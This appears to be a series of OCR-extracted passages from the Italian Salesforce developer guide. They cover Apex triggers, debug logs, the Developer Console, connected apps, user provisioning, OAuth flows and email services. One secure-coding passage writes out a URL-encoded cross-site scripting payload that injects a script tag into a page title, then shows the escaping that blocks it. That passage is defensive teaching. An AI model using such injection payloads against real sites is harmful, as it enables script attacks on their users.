e il completamento dei metodi di test e cos via Apex Profiling Profilatura Apex Comprende informazioni cumulative di profiling quali i limiti per lo spazio dei nomi il
82. il Nome sviluppatore Utilizzare il Nome sviluppatore per fare riferimento a questo modello dal codice Per impostazione predefinita viene utilizzata una versione del Nome sviluppatore priva di spazi consentito soltanto l utilizzo di lettere numeri e caratteri di sottolineatura 5 Selezionare la Categoria che indica dove visualizzare i gruppi di link azioni istanziati sugli elementi del feed Principale visualizza i gruppi di link azioni nel corpo degli elementi del feed Overflow visualizza i gruppi di link azioni nel menu Overflow degli elementi del feed Se un modello di gruppo dei link azioni di tipo Principale pu contenere fino a tre modelli di link azioni Se un modello di gruppo dei link azioni di tipo Overflow pu contenere fino a quattro modelli di link azioni 6 Selezionare ilnumero di Esecuzioni consentite che indica per quante volte possono essere eseguiti i gruppi di link azioni istanziati da questo modello I link azioni all interno di un gruppo si escludono a vicenda Se si sceglie Illimitato i link azioni nel gruppo non possono essere di tipo Api 0 ApiAsync 7 Facoltativo Specificare le Ore prima della scadenza che indica quante ore devono trascorrere dalla creazione del gruppo di link azioni alla sua eliminazione dagli elementi del feed associati senza che possa pi essere eseguito Il valore massimo 8760 Vedere Impostazione dell ora di scadenza del gruppo dei link azioni 8 Fare clic su Salva 9 Fare
83. immettere Applicazioni connesse nella casella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse e fare clic sul nome dell applicazione connessa 6 Nella sezione Impostazioni provisioning utente fare clic su Lancia procedura guidata provisioning utente per avviare la procedura Al termine della procedura guidata di provisioning utente possibile tornare alla pagina dei dettagli dell applicazione connessa da Imposta immettere Applicazioni connesse nellacasella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse e fare clic sul nome dell applicazione connessa per modificare le informazioni account dei singoli utenti per gli aggiornamenti rapidi Ogni utente elencato nella pagina dei dettagli dell applicazione connessa nella sezione Account utenti Oppure eseguire nuovamente la procedura guidata per raccogliere e analizzare gli account sul sistema di terze parti apportare modifiche alla configurazione ed elaborare tutti gli account Se stato aggiunto un processo di approvazione durante l esecuzione della Procedura guidata provisioning utente il campo Processo di approvazione selezionato nella pagina dei dettagli Creazione del proprio flusso di provisioning utente Se il flusso del pacchetto non supporta il sistema di terze parti desiderato o per personalizzare una soluzione creare il proprio flusso con la classe Apex UserProvisioningPlugin e gli oggetti standar
84. impostazioni di provisioning utente per ogni applicazione connessa Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 193 inoltre possibile eseguire rapporti per vedere chi ha accesso ad applicazioni di terzi specifiche mediante una visualizzazione centralizzata di tutti gli account utente in tutte le applicazioni connesse Richieste provisioning utente Una volta configurato il provisioning utente Salesforce gestisce le richieste di aggiornamenti sul sistema di terze parti Salesforce invia le richieste di provisioning utente al sistema di terze parti sulla base di eventi specifici nell organizzazione nell interfaccia utente o tramite le chiamate API La seguente tabella mostra gli eventi che generano richieste di provisioning utente Evento Operazione Oggetto Creazione di un utente Create Utente Aggiornamento di un utente per attributi Update Utente selezionati Disabilitazione di un utente Deactivate Utente Abilitazione di un utente Activate Utente Congelamento di un utente Freeze UserLogin Annullamento del congelamento di un Unfreeze UserLogin utente Riattiva utente Reactivate Utente Modifica del profilo utente Create Deactivate Utente Assegnazione annullamento Create Deactivate PermissionSetAssignment dell assegnazione di un insieme di autorizzazioni a un utente Assegnazione annullamento Create Deactivate SetupEntityAccess dell assegnazione di un profilo all applic
85. installati protetti Per consentire agli abbondati di creare record di metadati personalizzati definiti da un tipo di metadati personalizzato tale tipo deve essere pubblico L API dei metadati restituisce definizioni di entit personalizzate protette ma non record di metadati personalizzati nelle organizzazioni abbonate Caching record dei metadati personalizzati vengono inseriti nella cache a livello del tipo dopo la prima richiesta di lettura Questo consente di migliorare le prestazioni nelle richieste successive Le richieste che sono in fase di invio quando i metadati vengono aggiornati non otterranno i metadati pi recenti Limiti dei metadati personalizzati Tenere presente questi requisiti relativi ai tipi e record di metadati personalizzati Descrizione Query SOOL per transazione Apex Metadati personalizzati per organizzazione Metadati personalizzati per pacchetto gestito certificato Campi per tipo o record di metadati personalizzati Tipi di metadati personalizzati per organizzazione Caratteri per campo di descrizione Record restituiti per transazione Quantit massima Illimitato 10 MB 10 MB O Nota record di metadati personalizzati nei pacchetti gestiti certificati installati dall utente non vengono conteggiati nel limite dell organizzazione record di metadati personalizzati creati dall utente al contrario vengono conteggiati Questa regola vale a prescindere dal fatto che i record
86. la regola di convalida o qualsiasi altra operazione che utilizza questi campi di unione globali e Quando un record stato modificato da un processo Web a caso o Web a lead l utente corrente il Titolare lead predefinito oil Titolare caso predefinito e Quando un processo esegue azioni pianificate e l utente che ha avviato il processo non pi attivo UserRole si riferisce al ruolo dell utente del flusso di lavoro predefinito Lo stesso vale per le azioni basate sul tempo nelle regole del flusso di lavoro 1 Nota Non possibile utilizzare i seguenti valori UserRole in Visualforce e CaseAccessForAccountOwner e ContactAccessForAccountOwner OpportunityAccessForAccountOwner Ottimizzazione di Salesforce con il codice VEDERE ANCHE e PortalType Valori validi per la variabile globale Action Guida dell utente Componenti Apex Visualforce e Valori validi per la variabile globale Action Nella seguente tabella sono elencate le azioni cui possibile fare riferimento con la variabile globale Action egli oggetti in cui possibile eseguire tali azioni Tutti gli oggetti supportano le azioni di base quali nuovo clona visualizza modifica elenca ed elimina La variabile globale Action fa riferimento anche ad azioni disponibili su molti oggetti standard valori disponibili nella propria organizzazione possono variare a seconda delle funzionalit abilitate Valore Accept Activate Aggiungi AddCampaig
87. link di soluzione rapida che consente di creare una nuova definizione di componente inclusi gli attributi specificati basata sul nome che stato fornito per il componente Ad esempio se non stato ancora definito un componente personalizzato denominato myNewComponent e si inserisce lt c myNewComponent myNewAttribute f00 gt nelmarkup di pagina esistente dopo che si fa clic su Salva viene visualizzato un link di correzione rapida che consente di definire un nuovo componente personalizzato denominato myNewComponent con la seguente definizione predefinita lt apex component gt lt apex attribute name myattribute type String description TODO lt Begin Default Content REMOVE THIS gt lt h1 gt Congratulations lt h1 gt This is your new Component mynewcomponent lt End Default Content REMOVE THIS gt lt apex component gt Describe me gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 79 Per modificare la definizione da Imposta immettere Componenti nella casella Ricerca veloce quindi selezionare Componenti Visualforce e fare clic su Modifica accanto al componente personalizzato myNewComponent VEDERE ANCHE Definizione di componente personalizzato Definizione di componente personalizzato Visualizzazione e modifica dei componenti personalizzati Visualforce Da Imposta immettere Componenti nella casella Ricerca veloce quindi selezionar
88. lo Stato passa a Raccolta in corso fino al termine del processo Quando il processo completato lo Stato diventa Raccolto Se viene avviato un processo di analisi in seguito ad alcune differenze tra gli account lo Stato passa a Analisi in corso fino al termine del processo Quando il processo completato lo Stato diventa Analizzato Se un processo vincola la richiesta in base alle impostazioni di collegamento lo Stato passa quindia Impegno in corso e Salesforce aggiorna le propriet dell account utente di conseguenza Quando il processo completato lo Stato passa a Completato Tuttavia lo Stato non inizia necessariamente come Nuovo Se alcuni processi personalizzati avviano una richiesta di riconciliazione degli account un immissione pu iniziareconlo Stato Analisi in corso Inoltre lo Stato non pu retrocedere da un operazione attiva Ad esempio uno Stato Analisi in corso deve passare ad Analizzato a meno che il processo attivo non riesca e quindi lo Stato diventi Non riuscito Se si fa clic sul valore del campo Account provisioning utente vengono visualizzati i dettagli dell account utente seguenti campi presentano campi elenco di selezione che descrivono lo stato corrente dell account utente Stato Stato dell account nel sistema di destinazione valori validi sono e Attivo e Disattivato e Eliminato Stato collegamento Stato della connessione corrente tra l account utente nell organizzazione Salesforce e l
89. lt body gt lt b gt Contact Info lt b gt lt br gt Contact ID Contact Id lt br gt Contact Name Contact FirstName Contact LastName lt br gt lt body gt lt html gt Per implementare questa funzionalit creare un S Control HTML can il contenuto sopra inserendo il proprio codice nella sezione corpo Quindi ignorare l azione Modifica referenti utilizzando l S Control In questo modo viene ignorata l azione Modifica referenti ovunque disponibile il pulsante Modifica nella pagina dei dettagli di un referente il link Modifica nelle visualizzazioni elenco e il link Modifica in qualsiasi elenco correlato Nota Questo esempio non include il codice per modificare i referenti Il codice all interno della sezione corpo illustra solo come utilizzare il campo unione referenti per visualizzare le informazioni sul referente Sostituire la sezione del corpo con il proprio codice Interruzione della sostituzione per i nuovi account La possibilit di ignorare i pulsanti standard li rende non disponibili nell intera organizzazione Salesforce tuttavia possibile ignorare un azione standard e reindirizzare a tale azione dal proprio S Control senza entrare in un loop infinito Ad esempio possibile ignorare il pulsante Nuovo sugli account eseguire il proprio processo personalizzato e riprendere con l azione Nuovo account standard senza entrare in un loop infinito A tale scopo utilizzare l argomento no override nella funzio
90. nessuno di questi casi applicabile i registri non vengono generati o mantenuti VEDERE ANCHE Scheda Logs Registri Livelli del registro debug https developer salesforce com docs atlas en us api_tooling meta api_tooling https developer salesforce com docs atlas en us apexcode meta apexcode Livelli del registro debug DAON AUTORIZZAZIONI UTENTE Per utilizzare la Console sviluppatore Visualizza tutti i dati Disponibile nelle versioni Salesforce Classic e Per eseguire Apex Code anonimo Lightning Experience Apex autore Per utilizzare la ricerca nel codice ed API abilitata eseguire SOQL o SOSL nella scheda della query Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition Per salvare le modifiche alle classi e ai trigger Apex Apex autore Per salvare le modifiche alle pagine e ai componenti Visualforce Personalizza applicazione Per salvare le modifiche delle risorse Lightning Personalizza applicazione Per specificare il livello delle informazioni che vengono incluse nei registri debug impostare i flag di traccia e i livelli debug livelli debug assegnati ai flag di traccia specificano il tipo e la quantit di informazioni che vengono registrate per diversi eventi Una volta effettuata la registrazione analizzare gli eventi di debug nei propri registri debug Un livello debug una serie di
91. no store error invalid grant error description Audience validation failed VEDERE ANCHE Autenticazione delle applicazioni con OAuth Flusso token bearer JWT OAuth 2 0 Il token Web JSON JWT JSON Web Token una codifica dei token di protezione basata su JSON EDIZIONI che consente di condividere le informazioni relative a identit e protezione nei domini di sicurezza Il flusso token bearer JWT OAuth 2 0 definisce in che modo un JWT pu essere utilizzato per richiedere Disponibile nelle versioni un token di accesso OAuth a Salesforce quando un client desidera utilizzare un autorizzazione Salesforce Classic precedente L autenticazione dell applicazione autorizzata viene fornita da una firma digitale applicata DAT Disponibile in tutte le i versioni Informazioni pi dettagliate in merito al JWT e al flusso token bearer JWT per OAuth sono reperibili ai seguenti indirizzi ANOLON TAAA ON e http tools ietf org html draft ietf oauth jwt bearer UTENTE e http tools ietf org html draft jones json web token Per gestire creare modificare ed eliminare le Panoramica del flusso token bearer JWT OAuth 2 0 applicazioni OAuth Il flusso per un token di tipo bearer JWT OAuth 2 0 simile al flusso di un token di aggiornamento G Ia in OAuth Il JWT viene inviato mediante il metodo POST all endpoint del token OAuth che a sua Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Sal
92. nomi o ai campi di oggetti utilizzati nella classe comprese variazioni superficiali come quelle apportate alla descrizione di un oggetto o di un campo o se vengono apportate modifiche a una classe che chiama questa classe ilflag isValid viene impostato su false Quando un trigger o una chiamata a un servizio Web richiama la classe il codice viene ricompilato e l utente viene informato in caso di errori In caso di assenza di errori il flag isValid viene reimpostato su true VEDERE ANCHE Gestione delle classi Apex Visualizzazione delle classi Apex Gestione delle impostazioni di versione per Apex Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 51 Definizione di trigger Apex trigger Apex sono memorizzati nell applicazione come metadati sotto l oggetto a cui sono associati DONI O Nota possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche all Apex solo utilizzando la chiamata deploy Disponibile nelle versioni Salesforce Classic e Lightning Experience dell API metadati Force com IDE o lo strumento di migrazione Force com Force com IDE e Disponibile nelle versioni lo strumento di migrazione Force com sono risorse
93. numero di messaggi email inviati e cos via Visualforce Include informazioni sugli eventi Visualforce quali la serializzazione e la deserializzazione dello stato di visualizzazione o la valutazione di un campo formula in una pagina Visualforce System Sistema Include informazioni sulle chiamate a tutti i metodi di sistema quali il metodo System debug Livelli del registro debug Ogni livello del registro debug include uno dei seguenti livelli di registro per ogni categoria del registro livelli sono elencati dal pi basso al pi alto Gli eventi specifici vengono registrati a seconda della combinazione di categoria e livelli Per quasi tutti gli eventi la registrazione inizia al livello INFO II livello cumulativo ovvero se si seleziona FINE NORMALE il registro comprender anche tutti gli eventi registrati ai livelli DEBUG INFO WARN AVVISO ed ERROR ERRORE O Nota Non tutti i livelli sono disponibili per tutte le categorie Saranno disponibili solo i livelli che corrispondono a uno o pi eventi NONE NESSUNO e ERROR ERRORE Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 282 e FINE NORMALE e FINER ALTO e FINEST MASSIMO Importante Prima di eseguire una distribuzione verificare che il livello di registrazione di Apex Code non sia impostato su FINEST Massimo In caso contrario la distribuzione potrebbe richiedere pi tempo del
94. o componenti diversi da quelli presenti nella versione pi recente Per definire i trigger Apex e Apex autore 4 Fare clic su Trigger Apex e selezionare la casella di controllo attivo se il trigger deve essere compilato e abilitato Lasciarla deselezionata se si desidera solo memorizzare il codice nei metadati dell organizzazione Questa casella di controllo selezionata per impostazione predefinita 5 Nella casella di testo Corpo immettere l Apex per il trigger Un singolo trigger pu avere una lunghezza massima di 1 milione di caratteri Per definire un trigger utilizzare la sintassi seguente trigger TriggerName on ObjectName trigger events code block sa dove trigger events pu essere un elenco separato da virgole contenente uno o pi degli eventi seguenti before insert e before update before delete e after insert e after update after delete after undelete Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 52 O Nota Un trigger richiamato da insert delete 0 update di un evento o di un operazione ricorrenti genera un errore di esecuzione se il trigger viene richiamato in massa dall API Force com 6 Fare clic su Salva O Nota i trigger vengono memorizzati con un flag IsValid che rimane impostato su true finch i metadati dipendenti non cambiano rispetto all ultima compilazione del trigger Se vengono apportate modifiche ai nomi o
95. pagina in un flusso di accesso L utente che esegue questa applicazione connessa non soggetto ad alcuna restrizione IP Tuttavia per motivi di sicurezza l utente non pu accedere alle seguenti opzioni e Cambia password e Aggiungi un token basato sul tempo ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 180 Riduzione Quando l imposizione IP continua Quando l imposizione IP continua abilitata restrizioni IP disabilitata impostazione predefinita e Qualsiasi pagina in un flusso di accesso Visualizzazione dei dettagli di un applicazione connessa TANG O PAZAVA O NONNI Per leggere Personalizza applicazione Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Per aggiornare tutti i campi tranne Profili Personalizza applicazione Insiemi di autorizzazioni e Attributi SAML provider di servizi Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti autorizzazioni e Attributi SAML provider di i dati servizi Per disi
96. parti per la quale stato abilitato il provisioning utente Sebbene sia possibile creare un account utente per un provider di servizi qualsiasi ulteriore ruolo o autorizzazione per tale account utente devono essere gestiti tramite il provider di servizi Riconciliazione account pianificata Eseguire la Procedura guidata provisioning utente ogni volta che si desidera raccogliere e analizzare gli utenti del sistema di terze parti Non possibile configurare un intervallo di tempo per la raccolta e l analisi automatiche Ricertificazione accesso Dopo che per l utente stato creato un account presso il provider di servizi deve essere effettuata la convalida dell accesso dell utente alle risorse del provider di servizi VEDERE ANCHE Configurazione del provisioning utente per applicazioni connesse Creazione del provisioning utente per rapporti personalizzati applicazioni connesse Panoramica sulleapplicazioni connesse Configurazione del provisioning utente per applicazioni connesse INCI IO NPZZAVA O NEU NU DAON Per leggere Personalizza applicazione Disponibile nelle versioni Salesforce Classic e Lightning Experience Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni Le applicazioni connesse connesse possono essere create nelle Per aggiornare tutti i campi tranne Profili Personalizza applicazione ERa Group Edition Insiemi di autorizzazioni e Attributi
97. pericolose se l espressione della formula fa riferimento a dati non generati dal sistema che sono dati potenzialmente dannosi o modificabili e se l espressione stessa non racchiusa in una funzione per l utilizzo della sequenza escape durante la visualizzazione Una vulnerabilit comune nasce dall utilizzo dell espressione Request per accedere ai parametri delle richieste lt htm1 gt lt head gt lt title gt Request title lt title gt lt head gt lt body gt Hello world lt body gt lt html gt Sfortunatamente anche iltag SRequest title senza caratteri escape risulta in una vulnerabilit agli attacchi di cross site scripting Ad esempio la seguente richiesta http example com demo hello html title Adios 3C 2FtitleS3ES3Cscript 3Ealert xss 3C 2Fscript 3E risulta nel seguente output lt html gt lt head gt lt title gt Adios lt title gt lt script gt alert xss lt script gt lt title gt lt head gt lt body gt Hello world lt body gt lt html gt Il meccanismo standard per l utilizzo di una sequenza escape lato server prevede l utilizzo del tag formula SUBSTITUTE Data la posizione dell espressione Reguest nell esempio l attacco sopra potrebbe essere evitato utilizzando le seguenti chiamate SUBSTITUTE nidificate GI lt html gt lt head gt lt title gt SUBSTITUTE SUBSTITUTE Request title lt lt gt gt lt title gt lt head gt
98. pi na Database com Edition organizzazioni Salesforce indipendentemente dai loro oggetti o campi personalizzati Tipicamente partner e fornitori di software indipendenti utilizzano questo WSDL poco tipizzato ossia opera su coppie nome valore di nomi di campo e valori anzich di tipi di dati specifici Il NOKO YAZAWA N documento WSDL Partner deve essere scaricato e utilizzato una volta sola per ogni versione UTENTE dell API e WSDL Apex Utilizzare questo WSDL per eseguire o compilare Apex in un altro ambiente Per scaricare un file WSDL e Personalizza applicazione e WSDL Metadati Utilizzare questo WSDL per migrare le modifiche di configurazione tra un organizzazione e l altra o utilizzare le personalizzazioni della propria organizzazione come file di metadati XML Per scaricare un documento WSDL 1 Da Imposta digitare APT nella casella Ricerca veloce e quindi selezionare API 2 Scaricare il WSDL appropriato e Se si scarica un WSDL Enterprise e nell organizzazione sono installati pacchetti gestiti fare clic su Genera WSDL Enterprise Salesforce richiede di selezionare la versione di ciascun pacchetto installato per includere il WSDL generato e Altrimenti fare clic con il pulsante destro del mouse sul documento WSDL appropriato per salvarlo in una directory locale Nel menu visualizzato quando si fa clic con il pulsante destro gli utenti di Internet Explorer possono selezionare Salva oggetto con nome mentre gli u
99. processo Sono previsti i valori seguenti Stato Descrizione Accodato Il processo in attesa di esecuzione Preparazione Il metodo start del processo stato richiamato Questo stato potrebbe durare alcuni minuti a seconda delle dimensioni del batch di record Elaborazione in corso Il processo in corso di elaborazione Interrotto Il processo stato interrotto da un utente Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 64 Stato Descrizione Completato Il processo stato completato con o senza errori Non riuscito Durante il processo si verificato un errore di sistema processi batch Apex possono inoltre avere lo stato In attesa quando si trovano nell area di attesa Flex Apex Vedere Monitoraggio dell area di attesa Flex Apex Se durante l elaborazione dei batch si verificano uno o pi errori la colonna Dettagli stato fornisce una breve descrizione del primo errore Una descrizione pi dettagliata dell errore oltre che degli eventuali errori successivi viene inviata per email all utente che ha avviato la classe batch in esecuzione Per visualizzare un elenco di elementi filtrati selezionare un elenco predeterminato dall elenco a discesa Visualizza o fare clic su Crea nuova visualizzazione per definire le proprie visualizzazioni personalizzate L opzione particolarmente utile quando si desidera visualizzare solo i metodi future o solo i processi batch Ape
100. selezionare Profili 2 Selezionare un profilo e fare clic sul nome corrispondente 3 Nella pagina o nell elenco correlato Accesso classe Apex fare clic su Modifica 4 Selezionare le classi Apex da abilitare dall elenco Classi Apex disponibili e fare clic su Aggiungi Oppure selezionare le classi Apex da disabilitare dall elenco Classi Apex abilitate e fare clic su Rimuovi 5 Fare clic su Salva VEDERE ANCHE Impostazione dell accesso alle classi Apex dalla pagina di elenco della classe Impostazione dell accesso alle classi Apex dalla pagina dei dettagli della classe Impostazione dell accesso classe Apex dagli insiemi di autorizzazioni Creazione di motivi di condivisione Apex Durante la creazione della condivisione gestita Apex creare i motivi di condivisione Apex per i singoli oggetti personalizzati per indicare il motivo per cui stata implementata la condivisione semplificare la codifica necessaria per aggiornare ed eliminare i record in condivisione e condividere un record pi volte con lo stesso utente o gruppo utilizzando diversi motivi di condivisione Apex Nota Per ulteriori informazioni sulla condivisione gestita Apex vedere il manuale Force com Apex Code Developer s Guide Salesforce visualizza i motivi di condivisione Apex nella colonna Mot ivo durante la visualizzazione della condivisione per un record di oggetto personalizzato nell interfaccia utente Questo consente a utenti e amministratori di capire i motivi
101. servizio stesso inattivo Azione per mittente non autenticato Determina come si comporta il servizio di email con i messaggi che falliscono o che non supportano nessuno dei protocolli di autenticazione se selezionata la casella di controllo Autentica mittenti Azione per Mittente non autorizzato Determina come si comporta il servizio di email con i messaggi ricevuti da mittenti non elencati nella casella di controllo Accetta messaggio email da sul servizio di email o sull indirizzo di servizio di email Le opzioni di risposta per operazioni non riuscite sono Rimbalza messaggio Il servizio di email restituisce il messaggio al mittente o all Utente caso automatico perla funzione Email a caso on demand con una notifica che spiega il motivo del rifiuto Scarta messaggio Il servizio di email elimina il messaggio senza inviare alcuna notifica al mittente Riaccoda messaggio solo per Azione per Limite di messaggi in entrata superato Il servizio di email riaccoda il messaggio per elaborarlo nelle 24 ore successive Se il messaggio non viene elaborato entro 24 ore il servizio di email restituisce il messaggio al mittente con una notifica che spiega il motivo del rifiuto 12 Per inviare messaggi di email di errore a un indirizzo specifico invece che all indirizzo del mittente selezionare Abilita instradamento errori especificare l indirizzo di destinazione nelcampo Instrada messaggi email di errore a questo indirizzo email ln qu
102. sia mai stato utilizzato in precedenza L indicazione oraria deve essere entro 15 minuti pi tre minuti per tenere in considerazione le eventuali differenze tra gli orologi dei computer Che il nonce non sia mai stato utilizzato in precedenza 3 Al momento della conferma Salesforce restituisce il token di accesso e il segreto del token di accesso nel corpo della risposta HTTP sotto forma di coppie nome valore Generazione di cauth_signature per l accesso Per accedere a Salesforce si pu utilizzare l interfaccia utente o l API La oauth_signature utilizzata per l accesso viene generata in modo diverso a seconda del metodo utilizzato e Interfaccia utente utilizzare https login salesforce com per generare la firma e APlutilizzare https login salesforce type deve avere uno dei seguenti valori u WSDL partner c WSDL Enterprise com services OAuth type api version per generare la firma Ad esempio https login salesforce com services OAuth u 17 0 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 205 Accesso ai dati Salesforce utilizzando l applicazione del consumatore Quando il consumatore in possesso di un token di accesso valido un applicazione connessa pu richiedere di accedere ai dati Salesforce Le fasi descritte di seguito contengono istruzioni pi dettagliate sull accesso ai dati per gli sviluppatori che utilizzano un applicazione connessa per richied
103. sull utente Vedere URL identit a pagina 234 sfdc_ community url se l utente membro di una comunit Salesforce viene fornito l URL della comunit sfdc_ community id se l utente membro di una comunit Salesforce viene fornito l ID comunit dell utente signature firma HMAC SHA256 con codifica base64 firmata con la chiave privata del consumatore contenente l ID concatenato e issued at Pu essere utilizzata per verificare che l URL identit non stato modificato dopo essere stato inviato dal server issued at momento in cui la firma stata creata Di seguito riportato un esempio di richiamata dal server Tenere presente che la risposta segue un segno cancelletto e non sotto forma di parametri di query HTTP https www mysite com user callback jsp access token 00Dx0000000BV7z 21A R8AQOBM8J_xr9kLqmZIRyQ0xZgLcM4HVi41aGtW0qw3JCz f5xdTGGGSoVim8F JkZEqxbjaFbbe rKGk8v8AnYrvCh64qJb008 amp refresh token 5Aep86141LM Dq661ePDmPEgaAW90h L3JKk DpB4xReb54 pZfVtildPEk8aimw4Hr9ne7VXXVSIOs3Ds3D amp instance url https 53A 52F5 2Fnal salesforce com amp id https 53A 2F 2Flogin salesforce coms2Fid 2F00Dx000 0000BV7z52F005x0000001209P amp issued at 1278448101416 amp signature mi001J4sdMPi duBsvyRYPCDozghe43KRcli9LmZHR7053D amp scope id api refresh token amp token type Bearer amp state mystat Se l utente nega l accesso oppure si verifica un errore durante questa fase l utente viene reindirizzatoa redirect uri con
104. the email address for Lead 1 SELECT Id Name Email HasOptedOutOfEmail FROM Lead WHERE Email env fromAddress AND isConverted false AND hasOptedOutOfEmail false LIMIT 100 Add all the leads to the list l hasOptedOutOfEmail true ll add l System debug Lead Object 1 Update all lead records in the query update ll catch System QueryException e System debug Lead Query Issue e System debug Found the unsubscribe word in the subject line else System debug No Unsuscribe word found in the subject line Return True and exit True confirms program is complete and no emails should be sent to the sender of the unsubscribe request Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e isTest Lightning 115 result success true return result private class unsubscribeTest The following test methods provide adequate code coverag for the unsubscribe email class There are two methods one that does the testing with a valid unsubcribe in the subject lin and one the does not contain unsubscribe in the subject line static testMethod void testUnsubscribe Create a new email and envelope object Messaging InboundEmail email new Messaging InboundEmail Messaging InboundEnvel
105. tutti gli elementi di livello massimo della richiesta Utilizzarla per visualizzare la gerarchia degli elementi durante la loro esecuzione 2 Utilizzare la casella di immissione Filter Filtro nel registro esecuzioni Ad esempio se si interessati agli eventi specifici dei trigger fare clic su Filter Filtro e immettere trigger Nella sezione del registro esecuzioni vengono visualizzate solo le righe del registro debug che contengono la parola trigger 3 Perlimitare l ambito della scheda Execution Log Registro esecuzioni a un unit di esecuzione selezionata specifica selezionare This Frame Questo frame Ad esempio se nel registro esecuzioni si seleziona una riga che contiene CODE_UNIT STARTED e quindi si fa clic su This Frame Questo frame il registro esecuzioni visualizza solo gli elementi della richiesta che ricorrono tra CODE _UNIT_STARTI ED e il relativo CODE _UNIT_ END ED Nota quando si seleziona This Frame Questo frame il registro esecuzioni visualizza solo gli elementi contenuti in quel frame e non le eventuali operazioni di livello inferiore Ad esempio se un trigger chiama una classe nel registro esecuzioni non vengono visualizzate le operazioni relative alla classe ma solo quelle relative al trigger Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 273 Prospettive di controllo dei registri Creazione
106. una raccolta di strumenti che possibile utilizzare per creare testare ed eseguire il debug delle applicazioni nella propria organizzazione Salesforce Per aprire la Console sviluppatore da Salesforce Classic 1 Fareclic sul proprio Nome 2 Fare clic su Console sviluppatore Per aprire la Console sviluppatore da Lightning Experience Fare clic sul menu di accesso rapido I 2 Fare clic su Console sviluppatore Panoramica sull interfaccia utente Console sviluppatore La Console sviluppatore include una raccolta di strumenti utili per scrivere codice eseguire il debug e testare le applicazioni File Edit Debugv Testv Workspacev Help a Account 1 36 PM Code Coverage None v public class PurchaseOrders An interface that defines what a purchase order looks like in general public interface PurchaseOrder All other functionality excluded Double discount 2 One implementation of the interface for customers public virtual class CustomerPurchaseOrder implements PurchaseOrder public virtual Double discount return 05 Flat 5 discount Logs Tests Checkpoints Query Editor View State Progress Problems F Hide Finished Runs Cancel All Deployments Regid Nice Order Description 3 Duratio Handle Ajax E Delay 428 Checking for new Checkpoints Test results amp File updates N 10 234 Checking for new Checkpoints Test results amp File updates n o 84 426 Checking for
107. utente Integrazione di app con Salesforce 242 lt partner gt http nal salesforce com services Soap u version 00Dx0000002rIhl lt partner gt lt rest gt http nal salesforce com services data v version lt rest gt lt sobjects gt http nal salesforce com services data v version sobjects lt sobjects gt lt search gt http nal salesforce com services data v version search lt search gt lt query gt http nal salesforce com services data v version query lt query gt lt recent gt http nal salesforce com services data v version recent lt recent gt lt profile gt http nal salesforce com 005x000 lt profile gt lt feeds gt http nal salesforce com services data v version chatter feeds lt feeds gt lt groups gt http nal salesforce com services data v version chatter groups lt groups gt lt users gt http nal salesforce com services data v version chatter users lt users gt lt feed items gt http nal salesforce com services data v version chatter feed items lt feed items gt lt urls gt lt active gt true lt active gt lt user type gt STANDARD lt user type gt lt language gt en US lt language gt lt locale gt en US lt locale gt lt utc0ffset gt 28800000 lt utc0ffset gt lt updated at gt 2013 12 02T18 46 42 000Z lt updated at gt lt user gt Di seguito sono riportate le possibili risposte di Salesforce a una richiesta non valida
108. utilizzare l API REST Apex Utilizzare l API REST Apex quando si desidera esporre le classi e i metodi Apex per consentire alle applicazioni esterne di accedere al codice tramite l architettura REST L API REST Apex supporta OAuth 2 0 e ID sessione per l autorizzazione Quando utilizzare l API SOAP Apex Utilizzare l API SOAP Apex quando si desidera esporre i metodi Apex come API del servizio Web SOAP per consentire alle applicazioni esterne di accedere al codice tramite SOAP L API SOAP Apex supporta OAuth 2 0 e ID sessione per l autorizzazione Ottimizzazione di Salesforce con il codice Quando utilizzare Tooling API Guida dell utente Integrazione di app con Salesforce 142 Utilizzare Tooling API se si desidera gestire e distribuire copie funzionanti di classi e trigger Apex e pagine e componenti Visualforce Inoltre possibile impostare checkpoint o indicatori degli heap dump eseguire Apex anonimo e accedere alle informazioni su accesso e copertura del codice Utilizzo di CORS per accedere all API REST Chatter e all API REST L API REST Chatter e l API REST supportano CORS condivisione delle risorse multiorigine Per accedere a queste API da JavaScript in un browser Web aggiungere l origine dello script alla whitelist di CORS CORS una raccomandazione di W3C che abilita i browser Web a richiedere risorse da origini diverse dalla propria richiesta multiorigine Ad esempio utilizzando CORS uno script JavaScript all indi
